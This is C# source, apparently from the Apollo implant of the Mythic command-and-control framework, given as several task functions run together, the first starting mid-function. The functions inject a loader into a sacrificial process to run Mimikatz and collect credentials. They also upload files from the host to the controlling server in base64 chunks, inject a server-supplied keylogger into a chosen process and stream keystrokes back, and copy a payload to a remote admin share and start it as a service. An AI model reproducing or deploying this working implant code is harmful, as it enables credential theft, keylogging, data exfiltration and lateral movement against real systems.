EvasionManager.SpawnTo64; } else { sacrificialApplication = EvasionManager.SpawnTo86; } try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { response = new ApolloTaskResponse(job.Task, output.ToArray()); var credResp = GetCredentialResponse(job.Task, command, output); job.AddOutput(response); if (credResp.credentials != null && credResp.credentials.Length > 0) { job.AddOutput(credResp); } output.Clear(); } job.SetComplete(""); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Download a file to the remote Apfell server. /// </summary> /// <param name="job"> /// Job associated with this task. /// File to download is in job.Task.parameters /// </param> /// <param name="implant">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string filepath = task.parameters.Trim(); string strReply; bool uploadResponse; if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"') { filepath = filepath.Substring(1, filepath.Length - 2); } else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'') { filepath = filepath.Substring(1, filepath.Length - 2); } try // Try block for file upload task { // Get file info to determine file size FileInfo fileInfo = new FileInfo(filepath); long size = fileInfo.Length; // Determine number of 512kb chunks to send long total_chunks = size / 512000; // HACK: Dumb workaround because longs don't have a ceiling operation if (total_chunks == 0) { total_chunks = 1; } // Send number of chunks associated with task to Apfell server // Response will have the file ID to send file with ApolloTaskResponse registrationMessage = new ApolloTaskResponse() { task_id = task.id, total_chunks = total_chunks, full_path = fileInfo.FullName }; job.AddOutput(registrationMessage); MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id); if (resp.file_id == "") { job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString())); return; } // Send file in chunks for (int i = 0; i < total_chunks; i++) { byte[] chunk = null; long pos = i * 512000; // We need to use a FileStream in case our file size in bytes is larger than an Int32 // With a filestream, we can specify a position as a long, and then use Read() normally using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite)) { fs.Position = pos; // If this is the last chunk, size will be the remaining bytes if (i == total_chunks - 1) { chunk = new byte[size - (i * 512000)]; int chunkSize = chunk.Length; fs.Read(chunk, 0, chunkSize); } // Otherwise we'll read 512kb from the file else { chunk = new byte[512000]; fs.Read(chunk, 0, 512000); } } // Convert chunk to base64 blob and create our FileChunk ApolloTaskResponse fc = new ApolloTaskResponse() { chunk_num = i + 1, file_id = resp.file_id, task_id = job.Task.id, chunk_data = Convert.ToBase64String(chunk), total_chunks = -1 }; job.AddOutput(fc); } job.SetComplete($"Finished downloading file {filepath}"); } catch (Exception e) // Catch any exception from file upload { job.SetError($"Exception occurred while downloading file: {e.Message}"); } }
public static void Execute(Job job, Agent implant) { Task task = job.Task; byte[] loggerStub; ApolloTaskResponse progressResp; KeylogArguments args = JsonConvert.DeserializeObject <KeylogArguments>(task.parameters); if (args.pid < 0) { job.SetError("PID must be non-negative."); return; } if (string.IsNullOrEmpty(args.pipe_name)) { job.SetError("No pipe was given to connect to."); return; } if (string.IsNullOrEmpty(args.file_id)) { job.SetError("No file ID was given to retrieve."); return; } try { System.Diagnostics.Process.GetProcessById(args.pid); } catch (Exception ex) { job.SetError($"Failed to find process with PID {args.pid}. Reason: {ex.Message}"); return; } loggerStub = implant.Profile.GetFile(job.Task.id, args.file_id, implant.Profile.ChunkSize); if (loggerStub == null || loggerStub.Length == 0) { job.SetError("Failed to fetch keylogger stub from server."); return; } var injectionType = Injection.InjectionTechnique.GetInjectionTechnique(); var injectionHandler = (Injection.InjectionTechnique)Activator.CreateInstance(injectionType, new object[] { loggerStub, (uint)args.pid }); //Injection.CreateRemoteThreadInjection crt = new Injection.CreateRemoteThreadInjection(loaderStub, (uint)pid); if (injectionHandler.Inject()) { BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new IPC.KeystrokeMessageBinder(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(".", args.pipe_name, PipeDirection.InOut); try { pipeClient.Connect(30000); job.OnKill = delegate() { try { if (pipeClient.IsConnected) { bf.Serialize(pipeClient, new IPC.KillLoggerMessage()); } job.SetComplete("Stopped keylogger."); } catch (Exception ex) { } }; job.AddOutput($"Connected to keylogger. Processing keystrokes."); while (true) { KeystrokeMessage msg = new KeystrokeMessage(); try { msg = (IPC.KeystrokeMessage)bf.Deserialize(pipeClient); ApolloTaskResponse resp = new ApolloTaskResponse() { task_id = task.id, user = msg.User, window_title = msg.WindowTitle, keystrokes = msg.Keystrokes }; job.AddOutput(resp); } catch (Exception ex) { } } } catch (Exception ex) { job.SetError($"Something went wrong: {ex.Message}"); } } }
public static void Execute(Job job, Agent agent) { byte[] templateFile; PSExecParameters args; ApolloTaskResponse resp; string formattedRemotePath; string remotePath; string fileGuid = Guid.NewGuid().ToString(); bool bTemplateFileWritten = false; ServiceController resultantService = null; args = JsonConvert.DeserializeObject <PSExecParameters>(job.Task.parameters); if (string.IsNullOrEmpty(args.computer)) { job.SetError("Missing required parameter: computer"); return; } if (string.IsNullOrEmpty(args.template)) { job.SetError("Missing required parameter: template"); return; } if (string.IsNullOrEmpty(args.remote_path)) { formattedRemotePath = $"\\\\{args.computer}\\C$\\Users\\Public\\{fileGuid}.exe"; remotePath = $"C:\\Users\\Public\\{fileGuid}.exe"; } else { if (Directory.Exists(args.remote_path)) { args.remote_path = Path.Combine(args.remote_path, $"{fileGuid}.exe"); } remotePath = args.remote_path; formattedRemotePath = $"\\\\{args.computer}\\{args.remote_path.Replace(':', '$')}"; } if (string.IsNullOrEmpty(args.service_name)) { args.service_name = $"ApolloService-{fileGuid}"; } if (string.IsNullOrEmpty(args.display_name)) { args.display_name = $"Apollo Service: {fileGuid}"; } templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize); if (templateFile.Length == null || templateFile.Length == 0) { job.SetError($"Unable to retrieve template ID: {args.template}"); return; } try { File.WriteAllBytes(formattedRemotePath, templateFile); bTemplateFileWritten = true; } catch (Exception ex) { job.SetError($"Unable to write file to {formattedRemotePath}. Reason: {ex.Message}"); return; } resp = new ApolloTaskResponse(job.Task, $"Copied payload to {formattedRemotePath}"); job.AddOutput(resp); try { if (!Utils.ServiceUtils.InstallService(args.computer, args.service_name, args.display_name, remotePath)) { string errMsg = $"Error installing service \"{args.service_name}\" on {args.computer}. Last Win32 Error: {Marshal.GetLastWin32Error()}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; } job.SetError(errMsg); return; } } catch (Exception ex) { string errMsg = $"Error installing service on \"{args.service_name}\" on {args.computer}. Reason: {ex.Message}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } job.SetError(errMsg); return; } resp = new ApolloTaskResponse(job.Task, $"Installed service \"{args.service_name}\" on {args.computer}"); job.AddOutput(resp); try { if (!Utils.ServiceUtils.StartService(args.computer, args.service_name)) { string errMsg = $"Unable to start service \"{args.service_name}\" on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex.Message}"; } job.SetError(errMsg); return; } } catch (Exception ex) { if (Utils.ServiceUtils.GetService(args.computer, args.service_name, out resultantService)) { if (resultantService.Status == ServiceControllerStatus.Running || resultantService.Status == ServiceControllerStatus.StartPending) { } else { string errMsg = ""; if (ex.GetType() == typeof(System.InvalidOperationException)) { errMsg += $"Error starting service: {ex.Message}"; } try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; } job.SetError(errMsg); return; } } } try { if (resultantService == null) { if (!ServiceUtils.GetService(args.computer, args.service_name, out resultantService)) { job.SetError($"Could not find service {args.service_name} on {args.computer}"); return; // probably need to delete remote file } } job.SetComplete($@" Service started on {args.computer}! DisplayName : {resultantService.DisplayName} ServiceName : {resultantService.ServiceName} Status : {resultantService.Status} CanStop : {resultantService.CanStop}"); } catch (Exception ex) { string errMsg = "Could not find service on remote host."; try { if (File.Exists(formattedRemotePath)) { File.Delete(formattedRemotePath); } } catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; } try { if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name)) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}"; } } catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; } job.SetError(errMsg); return; } }